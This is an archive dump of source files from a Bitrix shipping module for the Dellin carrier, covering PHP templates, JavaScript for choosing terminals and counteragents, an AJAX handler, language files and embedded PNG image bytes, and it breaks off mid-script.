?>components/dellindev/dellindev.shipment.yurisettings/templates/.default/script.min.js000064400000004314151760651320025377 0ustar00BX.namespace("BX.Sale.Dellin.YuriSettings"),BX.Sale.Dellin.YuriSettings={ajaxUrl:"",serviceLocationClass:"",getLogin:function(){return document.querySelector('[name="CONFIG[MAIN][LOGIN]"]')},getPass:function(){return document.querySelector('[name="CONFIG[MAIN][PASSWORD]"]')},getCounterAgents:function(){let e=document.querySelector('[name="CONFIG[YURI][COUNTERAGENT]"]'),t=BX.Sale.Dellin.DerivalSettings.getAppkey().value,n=this.getLogin().value,i=this.getPass().value,l={sessid:BX.bitrix_sessid(),appkey:t,login:n,password:i,action:"get_counteragents",class:BX.Sale.Dellin.DerivalSettings.serviceAjaxClass};BX.ajax({timeout:300,method:"POST",dataType:"json",url:BX.Sale.Dellin.YuriSettings.ajaxUrl,data:l,onsuccess:function(t){t&&t.counteragents.map((function(t){BX.Sale.Dellin.YuriSettings.builderOptionList(e,t.uid,t.name,"counteragent")}))},onfailure:function(e){}})},builderOptionList:function(e,t,n,i){let l=document.createElement("option");l.innerHTML=n,l.value=t,l.id=i+"-added",l.selected=e.dataset.value==t,e.appendChild(l)},getOpfData:function(){let e=BX.Sale.Dellin.DerivalSettings.getAppkey().value;if(!e)return;let t={sessid:BX.bitrix_sessid(),appkey:e,action:"get_opf",class:BX.Sale.Dellin.DerivalSettings.serviceAjaxClass},n=document.querySelector('[name="CONFIG[YURI][OPF_COUNTRY]"]'),i=document.querySelector('[name="CONFIG[YURI][OPF]"]');BX.ajax({timeout:300,method:"POST",dataType:"json",url:BX.Sale.Dellin.YuriSettings.ajaxUrl,data:t,onsuccess:function(e){e&&(Object.values(e.countries).forEach((function(e){let t=e.countryUID,i=e.country;BX.Sale.Dellin.YuriSettings.builderOptionList(n,t,i,"country")})),n.addEventListener("change",(function(){BX.Sale.Dellin.YuriSettings.clearOpfList(),BX.Sale.Dellin.YuriSettings.getOpfList(n,i,e),i.dataset.value=!1})),i.dataset.value&&BX.Sale.Dellin.YuriSettings.getOpfList(n,i,e))},onfailure:function(e){}})},getOpfList:function(e,t,n){for(let i=0;i<Object.keys(n.opf).length;i++)if(Object.keys(n.opf)[i]==e.value){let e=Object.values(n.opf)[i];Object.entries(e).map((function(e){let n=e[0],i=e[1];BX.Sale.Dellin.YuriSettings.builderOptionList(t,n,i,"opf")}))}},clearOpfList:function(){let e=document.querySelectorAll("#opf-added");e&&e.forEach((function(e){e.parentNode.removeChild(e)}))}};components/dellindev/dellindev.shipment.yurisettings/templates/.default/template.php000064400000010642151760651320025300 0ustar00<?if (!defined("B_PROLOG_INCLUDED") || B_PROLOG_INCLUDED!==true)die();
use Bitrix\Main\Localization\Loc;
Loc::loadMessages(__FILE__);


if(isset($_REQUEST['ID']) || !empty($_REQUEST['ID'])) {

    $configParams = \Bitrix\Sale\Delivery\Services\Manager::getById((int)$_REQUEST['ID']);
    $dataValueYuri = $configParams['CONFIG']['YURI'];
    $dataValuePerson = $configParams['CONFIG']['PERSON'];

}




?>

<tr class="heading">
    <td colspan="2"><?= Loc::getMessage("DELLINDEV_SELECT_COUNTERAGENT") ?><br/>
        <small><?= Loc::getMessage("DELLINDEV_SELECT_COUNTERAGENT_INFO") ?></small></td>
</tr>
<tr>
    <td width="40%"><?= Loc::getMessage("DELLINDEV_COUNTERAGENT") ?></td>
    <td width="60%" id="b_sale_hndl_dlv_add_loc_count">
        <select name="CONFIG[YURI][COUNTERAGENT]"
                data-value = <? echo $dataValueYuri["COUNTERAGENT"]?>>
            <option value="0" ><?= Loc::getMessage("DELLINDEV_NOT_SELECT") ?></option>
        </select>
    </td>
</tr>

<tr class="heading">
    <td colspan="2"><?= Loc::getMessage("DELLINDEV_YURI_BLOCK") ?><br/>
       <small><?= Loc::getMessage("DELLINDEV_YURI_BLOCK_INFO") ?></small></td>
</tr>
<tr>

    <td width="40%"><?= Loc::getMessage("DELLINDEV_COUNTRY_DERIVAL") ?></td>
    <td width="60%" id="b_sale_hndl_dlv_add_loc_count">
        <select name="CONFIG[YURI][OPF_COUNTRY]" data-value = <? echo $dataValueYuri["OPF_COUNTRY"]?>>
            <option value="0" >
                <?= Loc::getMessage("DELLINDEV_NOT_SELECT") ?></option>
        </select>
    </td>

</tr>

<tr>
    <td width="40%"><?= Loc::getMessage("DELLINDEV_OPF") ?></td>
    <td width="60%" id="b_sale_hndl_dlv_add_loc_count">
        <select name="CONFIG[YURI][OPF]" data-value = <? echo $dataValueYuri["OPF"]?>>
            <option value="0" >
                <?= Loc::getMessage("DELLINDEV_NOT_SELECT") ?></option>
        </select>
    </td>
</tr>

<tr>

    <td width="40%"><?= Loc::getMessage("DELLINDEV_YURI_ADDRESS") ?></td>
    <td width="60%" id="b_sale_hndl_dlv_add_loc_count" >
        <input type="text" name="CONFIG[YURI][ADDRESS]" style="width: 80%;"
               value='<? echo $dataValueYuri['ADDRESS'] ?>'
        >
    </td>

</tr>

<tr>

    <td width="40%"><?= Loc::getMessage("DELLINDEV_NAME_COMPANY") ?></td>
    <td width="60%" id="b_sale_hndl_dlv_add_loc_count">
        <input type="text" name="CONFIG[YURI][NAME]"
               value='<? echo $dataValueYuri['NAME'] ?>'
        >
    </td>

</tr>


<tr>

    <td width="40%"><?= Loc::getMessage("DELLINDEV_INN_SENDER") ?></td>
    <td width="60%" id="b_sale_hndl_dlv_add_loc_count">
        <input type="text" name="CONFIG[YURI][INN]"
               value='<? echo $dataValueYuri['INN'] ?>'
        >
    </td>

</tr>

<tr class="heading">
    <td colspan="2"><?= Loc::getMessage("DELLINDEV_CONTACT_PERSON_BLOCK") ?><br/></td>
</tr>

<tr>

    <td width="40%"><?= Loc::getMessage("DELLINDEV_PERSON_FIO") ?></td>
    <td width="60%" id="b_sale_hndl_dlv_add_loc_count">
        <input type="text" name="CONFIG[PERSON][NAME]"
               value='<? echo $dataValuePerson['NAME'] ?>'
        >
    </td>

</tr>

<tr>

    <td width="40%"><?= Loc::getMessage("DELLINDEV_PERSON_PHONE") ?></td>
    <td width="60%" id="b_sale_hndl_dlv_add_loc_count">
        <input type="text" name="CONFIG[PERSON][PHONE]"
               value='<? echo $dataValuePerson['PHONE'] ?>'
        >
    </td>

</tr>

<tr>

    <td width="40%"><?= Loc::getMessage("DELLINDEV_PERSON_EMAIL") ?></td>
    <td width="60%" id="b_sale_hndl_dlv_add_loc_count">
        <input type="text" name="CONFIG[PERSON][EMAIL]"
               value='<? echo $dataValuePerson['EMAIL'] ?>'
        >
    </td>

</tr>

<script type="text/javascript">

	BX.message({
		"SALE_LOCATION_MAP_CLOSE": "<?=Loc::getMessage("SALE_LOCATION_MAP_CLOSE")?>",
		"SALE_LOCATION_MAP_LOC_MAPPING": "<?=Loc::getMessage("SALE_LOCATION_MAP_LOC_MAPPING")?>",
		"SALE_LOCATION_MAP_CANCEL": "<?=Loc::getMessage("SALE_LOCATION_MAP_CANCEL")?>",
		"SALE_LOCATION_MAP_PREPARING": "<?=Loc::getMessage("SALE_LOCATION_MAP_PREPARING")?>",
		"SALE_LOCATION_MAP_LOC_MAPPED": "<?=Loc::getMessage("SALE_LOCATION_MAP_LOC_MAPPED")?>"
	});

	BX.ready(function() {
        BX.Sale.Dellin.YuriSettings.ajaxUrl = "<?=$componentPath.'/ajax.php'?>";
        BX.Sale.Dellin.YuriSettings.getOpfData();
        BX.Sale.Dellin.YuriSettings.getCounterAgents();
		//BX.Sale.Location.Map.serviceLocationClass = "<?//=CUtil::JSEscape($arParams['EXTERNAL_LOCATION_CLASS'])?>//";
	});
</script>
components/dellindev/dellindev.shipment.choose/lang/ru/class.php000064400000000310151760651320021137 0ustar00<?
$MESS["SALE_SSC_MAP_YANDEX"] = "Карта Yandex";
$MESS["SALE_SSC_MAP_GOOGLE"] = "Карта Google";
$MESS["SALE_SSC_MAP_NONE"] = "Без карты";
?>components/dellindev/dellindev.shipment.choose/lang/en/class.php000064400000000211151760651320021113 0ustar00<?
$MESS["SALE_SSC_MAP_YANDEX"] = "Yandex Maps";
$MESS["SALE_SSC_MAP_GOOGLE"] = "Google Maps";
$MESS["SALE_SSC_MAP_NONE"] = "No maps";
?>components/dellindev/dellindev.shipment.choose/ajax.php000064400000004261151760651320017417 0ustar00<?


use  \Sale\Handlers\Delivery\Dellin\AjaxService;
/**
 * Bitrix Framework
 * @global CMain $APPLICATION
 */

define("NO_KEEP_STATISTIC", true);
define("NO_AGENT_STATISTIC", true);
define("NO_AGENT_CHECK", true);
define("NOT_CHECK_PERMISSIONS", true);

require($_SERVER["DOCUMENT_ROOT"]."/bitrix/modules/main/include/prolog_admin_before.php");

$result = array("ERROR" => "");

if (!\Bitrix\Main\Loader::includeModule('sale'))
	$result["ERROR"] = "Error! Can't include module \"Sale\"";

$saleModulePermissions = $APPLICATION->GetGroupRight("sale");

if($result["ERROR"] == '' && $saleModulePermissions >= "W" && check_bitrix_sessid())
{
	$action = isset($_REQUEST['action']) ? trim($_REQUEST['action']): '';

    if (\Bitrix\Main\Loader::includeModule('dellindev.shipment')) {
        switch ($action) {
            case "terminal_data":
                $delivery_id = (isset($_REQUEST['delivery_id']) && !empty($_REQUEST['delivery_id']))?
                    $_REQUEST['delivery_id'] :
                    AjaxService::LoggerInfo($action, 'delivery_id is null or empty');
                $person_type_id = (isset($_REQUEST['person_type_id']) && !empty($_REQUEST['person_type_id']))?
                    $_REQUEST['person_type_id'] :
                    AjaxService::LoggerInfo($action, 'persom_type_id is null or empty');
                $result = (!empty($delivery_id))?
                                            AjaxService::getTerminalsForAjaxOfSession($delivery_id, $person_type_id):
                                            ['ERROR' => 'delivery_id is null or empty'];

                break;
            default:
                $result["ERROR"] = "Error! Wrong action!";
                break;
        }
    } else {
        $result["ERROR"] = "Error! Can't include module \"dellindev.shipping\"";
    }
}
else
{
	if($result["ERROR"] == '')
		$result["ERROR"] = "Error! Access denied";
}

if($result["ERROR"] <> '')
	$result["RESULT"] = "ERROR";
else
	$result["RESULT"] = "OK";

if(mb_strtolower(SITE_CHARSET) != 'utf-8')
	$result = \Bitrix\Main\Text\Encoding::convertEncoding($result, SITE_CHARSET, 'utf-8');

header('Content-Type: application/json');
echo json_encode($result);
\CMain::FinalActions();
die;components/dellindev/dellindev.shipment.choose/class.php000064400000006733151760651320017607 0ustar00<?if(!defined("B_PROLOG_INCLUDED") || B_PROLOG_INCLUDED!==true) die();

use \Bitrix\Main\Config\Option;
use \Bitrix\Main\Localization\Loc;
use Bitrix\Main\ArgumentNullException;
use Bitrix\Main\ArgumentOutOfRangeException;

class CDellinShippingChooseComponent extends CBitrixComponent
{
//	const MAP_TYPE_YANDEX = 'yandex';
//	const MAP_TYPE_GOOGLE = 'google';
//	const MAP_TYPE_NONE = 'none';

	/**
	 * @param array $params
	 * @return bool
	 * @throws ArgumentNullException
	 * @throws ArgumentOutOfRangeException
	 */
	public function checkParams($params)
	{
		

		return true;
	}

	/**
	 * @param array $params
	 * @return array
	 */
	public function onPrepareComponentParams($params)
	{
		if(CModule::IncludeModule("dellindev.shipment")){//fix TypeError... maybe

			$params = parent::onPrepareComponentParams($params);

			// if(!$params['DELIVERY_LOCATION'])
			// {
			// 	unset($_SESSION['current_terminals']);
			// }	

			$userType = $params['USER_RESULT']['PERSON_TYPE_ID'];

			$terminalList = \Sale\Handlers\Delivery\Dellin\AjaxService::getTerminalsForAjaxOfSession();

			$widgetParams = $this->getWidgetParams($terminalList);

			$currentTerminalField = $this->getFieldIdOnCODE($userType, 'TERMINAL_ID');
			$currentDeliveryTimeStartField  = $this->getFieldIdOnCODE($userType, 'DELLIN_DELIVERYTIME_START');
			$currentDeliveryTimeEndField = $this->getFieldIdOnCODE($userType, 'DELLIN_DELIVERYTIME_END');
			//clear teminals block
			
			// echo '<pre>';
			// var_dump($params);
			// echo '</pre>';
			// die();


			$params['dellin']['terminalList'] = $terminalList['terminals'];
			$params['dellin']['currentTerminalField'] = $currentTerminalField;
			$params['dellin']['currentDeliveryTimeStartField'] = $currentDeliveryTimeStartField;
			$params['dellin']['currentDeliveryTimeEndField'] = $currentDeliveryTimeEndField;
			$params['dellin']['terminalsMethod'] = $terminalList['terminals_method_id'];
			$params['dellin']['widget'] = $widgetParams;
		//	$params['dellin']['city'] = $terminalList


			return $params;
		}
	}

	private function getFieldIdOnCODE($userType, $code){

        $propsListToID = \DellinShipping\Kernel::getTerminalProps($userType);
        foreach ($propsListToID as $prop){

            if($prop['CODE'] == $code){
                $idField = $prop['ID'];
            }

        }
        return $idField;
    }

	private function getWidgetParams($terminalList)
	{
		$result = [
			'hasShowDellinMap' => false,
			'isOldViewComponent' => true,//default - is old value
		];

		if(is_array($terminalList['terminals_method_id']) &&
		   count($terminalList['terminals_method_id']) > 0 )
		{
			
			$config = \Bitrix\Sale\Delivery\Services\Manager::getById($terminalList['terminals_method_id'][0]);
			$stateField = $config['CONFIG']['WIDGET']; 
		}

		$key = COption::GetOptionString("fileman", "yandex_map_api_key");

		if($stateField['VIEW_TYPE'] == 0)
		{
		   $result['hasShowDellinMap'] = false;
		   $result['isOldViewComponent'] = true;
		}

		if($stateField['VIEW_TYPE'] == 1)
		{
			if(isset($key) && !empty($key)){
				$result['hasShowDellinMap'] = true;
			}
			
			$result['isOldViewComponent'] = false;
		}

		if($stateField['VIEW_TYPE'] == 2)
		{
			$result['hasShowDellinMap'] = false;
			$result['isOldViewComponent'] = false;
		}


		return $result;
	}

	
	/**
	 * void
	 */
	public function executeComponent()
	{
		try
		{
			$this->checkParams($this->arParams);
		}
		catch(\Exception $e)
		{
			ShowError($e->getMessage());
			return;
		}


		$this->includeComponentTemplate();
	}


}components/dellindev/dellindev.shipment.choose/templates/.default/lang/ru/template.php000064400000001233151760651320025352 0ustar00<?
$MESS["DELLINDEV_SHIPMENT_NAIMENOVANIE_TERMINA"] = "Наименование терминала: ";
$MESS["DELLINDEV_SHIPMENT_GOROD"] = "город";
$MESS["DELLINDEV_SHIPMENT_VYBERITE_TERMINAL_NA"] = "Выберите терминал на карте:";
$MESS["DELLINDEV_SHIPMENT_DELOVYE_LINII"] = "Деловые линии";
$MESS["DELLINDEV_SHIPMENT_VYBRATQ_TERMINAL"] = "выбрать терминал";
$MESS["DELLINDEV_SHIPMENT_NAJALI_NA"] = "Нажали на Dellin";
$MESS["DELLINDEV_SHIPMENT_NAZAD"] = "Назад";
$MESS["DELLINDEV_SHIPMENT_VPERED"] = "Вперёд";
$MESS["DELLINDEV_SHIPMENT_KLIK_NA_IZMENITQ"] = "Клик на изменить";
?>components/dellindev/dellindev.shipment.choose/templates/.default/lang/en/template.php000064400000001442151760651320025330 0ustar00<?
$MESS["SALE_SSC_PHONE"] = "Phone";
$MESS["SALE_SSC_ADRES"] = "Address";
$MESS["SALE_SSC_WORK"] = "Business hours";
$MESS["SALE_SSC_STORE"] = "Warehouse";
$MESS["SALE_SSC_EMAIL"] = "E-Mail";
$MESS["SALE_SSC_DESC"] = "Description";
$MESS["SALE_SSC_CHANGE"] = "Edit";
$MESS["SALE_SSC_STORE_EXPORT"] = "Pick-up address";
$MESS["SALE_SSC_ADD_INFO"] = "Additional warehouse information";
$MESS["SALE_SSC_GOOGLE_MAP_INFO"] = "Attention! To use Google Maps:<ol><li>Get the Google API KEY and assign appropriate permissions.<br>(Get more details here: #A1#)<li>Save this key on the #A2#Site Explorer module settings form#A3#.</li></ol>";
$MESS["SALE_SSC_GOOGLE_MAP_INFO_TITLE"] = "Information";
$MESS["SALE_SSC_DIALOG_CLOSE"] = "Close";
$MESS["SALE_SSC_MAP_TYPE_CHANGE_ERROR"] = "Error changing map type";
?>components/dellindev/dellindev.shipment.choose/templates/.default/images/sprite-markers.png000064400000005420151760651320026404 0ustar00�PNG


IHDR3C1�=�sBIT|d�
�IDATh��[Ol��}owLXZ�Q�RKYˊ��i�X�S*�\����H��P��1A�%p��sB�P��	i��*68QL�qۘ]��q�o������ffgvf���R�*�7;߼����M����	ZOa�\��o4�����Y��K�%����ǚ����<��wyu8���:�5iƚ�PZPc�q =m�{��}Q]�jA�F �����w��w�E�x����f>�"��M�L
����@n��"��h�"1{����h�Q�a�n��/�g^���TL�d;ݤ���f�W�0f>EDib��rM�B$��j�Gz��rn-�����KE�AZ-`���>�@&	�$��4�Yj>��Պ�E�!�/BNP�$�~��'ߩ�M��C��P��h+D۰Z�2�$c�ț`��^�j��
I��IB�{Zi-@�h���Ṗ�����'�
���(�-1Y�$K��3}�>�3r&��7���(>Plj�`"[�K`�{:p��ɴ�@l�s�(8>�Jb��.0�[�I�������8��!��?J�;	�"g{�j��f;B�l�Zz�"��o�=�RY��;A��!g^���t_ �y2I�j�����!���R�R" �p���M�������+�����2�|�.�v�b��-�*���j�t�OEa/��zY�n�,�E���d�v �-�\i����J�~��e�yʉ͇@�G`�.�x��;ֽ���Aq2nh��g��H*s�"̉�[�A�fy��d����'�=WAd�/���NANv�S��
;�G&	9�<�AP$NO��N�%��wzr��"��0��F[K?Օ�81���6�
��!g�@�A�V���T��{�rn�u��i૓���Y&	��c ��11�;NA��]i1�;
���w@O����+V��E"��_��S/�S㠭�*̝[9��GK�jgn2��R��E/˙>�"1�����aU����&n��(̑'r�Nv�_y��4�(��m{�$�$d|@��6��~@,�⹓m������Ӣ*H&�N��f8=���xbH�J�;��Eb�Ċ%�"�;[��%��U`�81hQ��W!v}�6���a�'I��n��V��d�n�s�4��_�f�|�+*Ν�M:��=�Ll�i�*�F[A���*�i =
j���c�H$��c=
�R~���I25�}nn�?uifP�ore����;�@N�yr�m�����Zd�_�e�Ed�篮>���(���Q���x�OE)@�vj����HLɱ߰��~�a��/̝7�ϙh����3�hړ����7.*��t�p�D�AD�g���+ ��.���_/����6��|ׂ��(�YhQP!N��Oq�v=���%�����X+�]�l_%��ͻ`y��f`A2�QhQ��}��dwU�[�|r
��BG��f,P�!���u49��&��e�֜QN{�yX����!Sd���3,?�M�ē쯫o�:c�pzZ�//la���SI�	�"b-���<���#�^؍����>��~A�U%I;i�i@O���L���aL�����W�:p����0�D&�'���J5�j�'�������Lfe�ƍ���k��{J��z�B�5v�j��S%�i���T*���W���d2���|���=���a(b-�ǡ�s�sj|͚r�I&�y���X��t�F�5��뺮g2�6�<�m�6}�dlX'��wtn�#�Tۃ
�=CO^"1,g�g�5:��+0h�X	��
i+�d�Ԭ�|���?vt,��G�=�X���h������R��6Q�K�o>������>&@���è�tH�G��֙D9}�����	'\���C��꠴V���2�����^����;BR!�$^�G�Ba�%����/D��'��y�T��Eb��n�J�5y��M���iJ��&��i�B!��7�\ԉ�yU�V�nj���ܽ�~d��L����ZH�0�4M�5ƒ���wuu���JƊz[��2�_"1��:���B�k��Q#Y:�@.oX�4��Ν;������l�r��԰�n̟��MAfCB��d�����
|'6�n��`~׮�>�ب6�v����{��̵/߻}��w$�AJ�d��0��
��Jz>�����ˀ*��u��d�4{�DbΉr��g&?���5��>5����L��C>�ų�>�T�P]�Q�Z��H���kg�=1F�0K3�0%/��Ng���9u��]�
�U>�bf�s�VQKm����⹉g��	�R.�BW�̽O7m���JHب���P�^C�]����ϳ���߽�m��CF�����jZ-3{�j�ݐ����;w���.�P���\���{��U��+����LZ��U�����8ń+����w�>ӱ�Ϯ�fځ�;3@.1�[�.�OL��H:-tz������:>��u�L�+�������g�^ZZz痵�utt�T���f����K	6�?��'��������z�̼�/�W
�<��,���lc^J03s6�����[�jc}��י��3�c^�bff)y�~��l3��n[�u+����طc�w�����Z��X�V��j0s�eVw�D~,�/��(�8ӿ.IEND�B`�components/dellindev/dellindev.shipment.choose/templates/.default/images/no_store.png000064400000004203151760651320025262 0ustar00�PNG


IHDREE�+)JIDATx��\ko�:�m�6�
��
K��Ik;ڇA*M�C���^E=�H�/9n��?���$�$�uj�F�i���:�l6�4
�x�^�m[��>װ�`���""m�V��ܮ��|>K�R��i$�Th�<&"��פ��cB�ax�]S��Y����)%��7l�6|R�Y�i�Y��Ϣ�m��KN)�)�E0��J[Ӭ�2�4���yh�v��<�?��(��P�bv����tLA�������s[D�ϋ?+%��_�u˞��
{���>�R5���-A�_`��d�Z�Z��Vf@���հ.��y�	–aD���� �7u����f\k��-� 贑 �GV�2lZ��T�	�ּQ��e�5��Z�l{@pvB�$�
���ׅ��7�[�>�����ض#��\���5���u]'"�N���g����@��H�Y�s���R�R��ׂ&*��^\���yn���B+�Z�p�Xv�,	�0N{�-z��n�w�1�R8c8������j�ܞY���u)O�d�Y�� ~�~�_�FS��ƀ�E�y"�Ѧls+��?����}"�Na���W� 6f0R�gbS����E�4M3���m[���g���Hm�*���S���G-#���:�Q^^^\ADޕѶ�|���i�<bn�⑥���`���
��� �8���.L������ۓ�Y��^O��E���gA�����W�Q��)%�psAu<���<�2K��B��\LDd�Y�("���RĘ�xsG9�N�i��
����_�E�R��}"i��i����L�X�G��:���;�$�������F�Q�^X�x�hWi���݃=0���]Q��֬�EF���7�歉7:�f�/�������"����g�2-e�l�[y||���J
N)��r���Tb�Qbe*DHJF�v����i�DD�۷o��nEd��{�K�ۭ�{�*%Rȱʵv�i5��G���7v��l��b�:^�9m����S�"[��ا�h�[�y��E3��Tv����26��{��IRJ���P2J�{8��"���9����������R��v[N~�&y~~�q�N����c�|$�1���0E.�`Y��p���"K��f�c�]�r�7j�F��/���>#�uƫƔ�1�_������f:�SGm}`�W�$K!�A�EIJV�O)�������]���z�������(�����th�0(�"S�s����VN��:���k)�RJ��ld�ە�{�\X(^h���>,;o�4߻���G��q���W�l6E	�ͦXP�9�N�S�,d%(��}јg����ki����p��A�a��}�2���{1���,�0�.�ޝ��v��\��S3E�ceW����JO)�0���/9���u��� �U�O�g��eOh��)�*0+���r:���b
�8��%���R��	k�<Ze��Ky�bXj��~j6�������={�d]� �x]Z��S�m�����[�!��m=��
�S�,��}��˔�<==�jգh�����w�[-�,��S��ȩ6g�����$V"d�i����پU�X0���c���Gc��`�ae��"b�d�\�0�L�ʖ�FYD
ۮ��u`7�X
�J����*�(�"����uM^����s��[xؚ����x��⁷G�ռ6,�kڮ�J����Ya]_�y-v�٣��[�I�w�@�[`{����֘`���Fd�h�o��`�KD�gs��^J�:�[�<!���t-�C���
(v�Sx�5�֔�ph���6���1��[Պ����fk�"�����/��>t�JqM�e�`����{�>�^`P��@�‚��� k�h�&��b�Vr��g�H,`��`�!:m�mU`˿Ԯ)��\�~
����*�"%ׂ 2e/C13F�h��HѶ8���3�� �7bb�6�b{P�}���Y����	{&�0<%y��]���=lۮF!����C�#VZ+Y�
%
ƀ�H�����Q3��pv��b��E���W��yh���Q>��#����G��0�4�|��2��d��F��
��IEND�B`�components/dellindev/dellindev.shipment.choose/templates/.default/template.php000064400000136435151760651320024020 0ustar00<?
use Bitrix\Main\Localization\Loc;
use Sale\Handlers\Delivery\Dellin\AjaxService;

/** @var CMain $APPLICATION */
Loc::loadMessages(__FILE__);
if(!defined("B_PROLOG_INCLUDED") || B_PROLOG_INCLUDED!==true)die();

/**
 * JS-совская часть скрипта создана на базе стандартного bitrix.order.ajax 
 * Работоспособность гарантируется только на СТАНДАРТНОМ шаблоне, на остальных - не факт.
 * Используйте BitrixLike решения, старайтесь реже отходить от коробочных имплементаций и будет Вам счастье :D 
 * 
 */


?>


<script type="text/javascript">

    BX.namespace('BX.Dellin');

    BX.Dellin = {
        ajaxpage: "<?=$componentPath.'/ajax.php'?>",
        terminalList: <?=json_encode($arParams['dellin']['terminalList'], JSON_UNESCAPED_UNICODE) ?>,
        terminalsMethod: <?=json_encode($arParams['dellin']['terminalsMethod'], JSON_UNESCAPED_UNICODE) ?>,
        fieldTerminalID: <?=$arParams['dellin']['currentTerminalField'] ?>,
        fieldDeliveryTimeStart: <?=$arParams['dellin']['currentDeliveryTimeStartField']?>,
        fieldDeliveryTimeEnd: <?=$arParams['dellin']['currentDeliveryTimeEndField']?>,
        selectedDeliveryMethod: <?=$arParams['USER_RESULT']['DELIVERY_ID']?>,
        widgetParam: <?= json_encode($arParams['dellin']['widget'])?>,
        hasShowDellinMap: <?=json_encode($arParams['dellin']['widget']['hasShowDellinMap'])?>, // �������� ������� ����� �������� �� �������
        isOldViewComponent: <?=json_encode($arParams['dellin']['widget']['isOldViewComponent'])?>, // ������� ��� ������� ������� ������������� � ������ select
        isCloseCustomBlock: false, // �������� ������������ ��������� ��������� ������ ����������� ���������.
        hasMountedMaps: false, // state props
        choosedTerminalId: null, // выбранный терминал
        recent_delivery_value: null,
        isTerminalMethodSelected: function(){
            if(!BX.Dellin.terminalsMethod) return false ;

            let res = false;

            BX.Dellin.terminalsMethod.map(function (method) {

                if(BX.Dellin.getDeliveryData().ID == method){
                    res = true;
                }

            });

            return res;

        },
        setIdFieldTerminal: function(result){

            if(!result.order) return ;
            let fieldId = '';

            result.order.ORDER_PROP.properties.map(function (field) {

                if(field.CODE == "TERMINAL_ID"){
                    fieldId = field.ID;
                }

            });

            return fieldId;
        },
        getBlockPickup: function (){
            return document.querySelector('#bx-soa-pickup');
        },
        init: function () {

            console.log("Dellin init");

            let terminalID = BX.Dellin.getFieldElementByID('input', BX.Dellin.fieldTerminalID);

            if(!terminalID){
                console.warn('DELLIN WARNING: Field terminalID is null!');
                return ;
            }



            terminalID.style = "display:none;";
            console.log('Hide input terminal');

            if(!BX.Dellin.isOldViewComponent)
            {
                BX.Dellin.hideTerminalBlock();
            }

            let buildTerminal = BX.Dellin.getTerminalsList();
            terminalID.after(buildTerminal);


        },
        styledFieldsSelect: function(){

            let selectClassForCheckout = 'form-control bx-soa-customer-select';

            let deliveryTimeStart = BX.Dellin.getFieldElementByID('select', BX.Dellin.fieldDeliveryTimeStart);

            if(!deliveryTimeStart){
                console.warn('DELLIN WARNING: Field deliveryTimeStart is null!');
                return ;
            }

            deliveryTimeStart.className = selectClassForCheckout;

            let deliveryTimeEnd =  BX.Dellin.getFieldElementByID('select', BX.Dellin.fieldDeliveryTimeEnd);

            if(!deliveryTimeEnd){
                console.warn('DELLIN WARNING: Field deliveryTimeEnd is null!');
                return ;
            }

            deliveryTimeEnd.className = selectClassForCheckout;

        },
        getTerminalBlock: function(){
            return document.querySelector('div[data-property-id-row="'+BX.Dellin.fieldTerminalID+'"]');
        },
        hideTerminalBlock: function(){

            let terminalBlock = BX.Dellin.getTerminalBlock();

            if(!terminalBlock){
                console.warn('Field terminal is null!');
                return ;
            }

            terminalBlock.style = 'display:none';

        },
        showTerminalBlock: function(){
            let terminalBlock = BX.Dellin.getTerminalBlock();
            if(!terminalBlock){
                console.warn('DELLIN WARNING: Properties with code "TERMINAL_ID" is null');
                return ;
            }
            terminalBlock.style = '';
        },
        getFieldElementByID: function(typeField, fieldID){
            return  document.querySelector(typeField+'[name="ORDER_PROP_'+fieldID+'"]');
        },
        removeSelectBlock: function(){
            let terminals = document.querySelector('#terminals');
                if(!terminals){
                    return ;
                }
                terminals.remove();
        },
        buildBlockDataWithTerminals: function(parent, result){

            let label = document.createElement('label');
            label.id = 'label_terminals';
            let strong = document.createElement('strong');
            strong.innerHTML = BX.message("DELLINDEV_TERMINAL_LIST");
            label.appendChild(strong);

            let br = document.createElement('br');
            br.id = 'container-br';

            parent.appendChild(label);
            parent.appendChild(br);

            BX.Dellin.getTerminalsList(result, parent);

        },
        builderOptionList:function(fieldterm, field, id, name, type){
            let option = document.createElement('option');
            option.innerHTML = name;
            option.value = id;
            option.id = type+'-added';
            option.selected = (field.dataset.value == id);
            field.appendChild(option);

            // option.addEventListener('click', function () {
            //     console.log(BX.message("DELLINDEV_SELECTED_TERMINAL"), option.value);
            //     BX.Dellin.setValueInInput(fieldterm, option.value);
            // })

        },
        setValueInInput: function(prop_id, value){
            let propElement = document.querySelector('[name="ORDER_PROP_'+prop_id+'"]');
                propElement.style = 'display:none';
                propElement.readonly = true;
                propElement.value = value;
        },
        getCurrentTerminalId: function()
        {
            let prop_id = BX.Dellin.fieldTerminalID;
            let propElement = document.querySelector('[name="ORDER_PROP_'+prop_id+'"]');
                if(!propElement)
                {
                    console.warn('Terminal props is undefined');
                    return ;
                }
            return propElement.value;

        }
        ,
        getTerminalsList: function () {

            if(!BX.Dellin.terminalList){
                return ;
            }

            BX.Dellin.removeSelectBlock();

            let select = document.createElement('select');
            select.id = 'terminals';
            select.className = 'form-control bx-soa-customer-select';
            let prop_id = BX.Dellin.fieldTerminalID;

            //fix bug payment change state
            if(!BX.Dellin.choosedTerminalId){
                let firstValue = BX.Dellin.terminalList[0].terminal_id;
                BX.Dellin.choosedTerminalId = firstValue;
                BX.Dellin.setValueInInput(prop_id, firstValue);
            }
            
            
            
            if(!BX.Dellin.terminalList){
                BX.Dellin.hideTerminalBlock();
            }

            BX.Dellin.terminalList.map(function (terminal) {
                BX.Dellin.builderOptionList(prop_id, select, terminal.terminal_id, terminal.address, 'terminal');

            });


            select.addEventListener('change', function () {

                BX.Dellin.setValueInInput(prop_id, select.value);
                BX.Dellin.choosedTerminalId = select.value;
                console.log(BX.message("DELLINDEV_SELECTED_TERMINAL"), select.value);

            });


            return select;
        },
        getDeliveryData: function () {
            return BX.Sale.OrderAjaxComponent.getSelectedDelivery()
        },
        getFormData: function () {
            return BX.Sale.OrderAjaxComponent.getAllFormData();
        },

        ajaxSend: function (id) {

            let postData = {
                sessid: BX.bitrix_sessid(),
                action: 'terminal_data',
                ajax: 'Y',
                delivery_id: id,
                person_type_id: BX.Dellin.getFormData().PERSON_TYPE,
            };

            BX.ajax({
                timeout:    300,
                method:     'POST',
                dataType:   'json',
                url:        window.location.pathname,
                data:       postData,

                onsuccess: function(result)
                {

                    if(result.RESULT == 'OK'){
                        BX.Dellin.init(result);
                    }

                },

                onfailure: function(status)
                {
                    console.log("onfailture", status);
                }
            });
        },
        changePropsID: function (result) {
            let props = result.order.ORDER_PROP.properties;
            props.map((prop)=> {

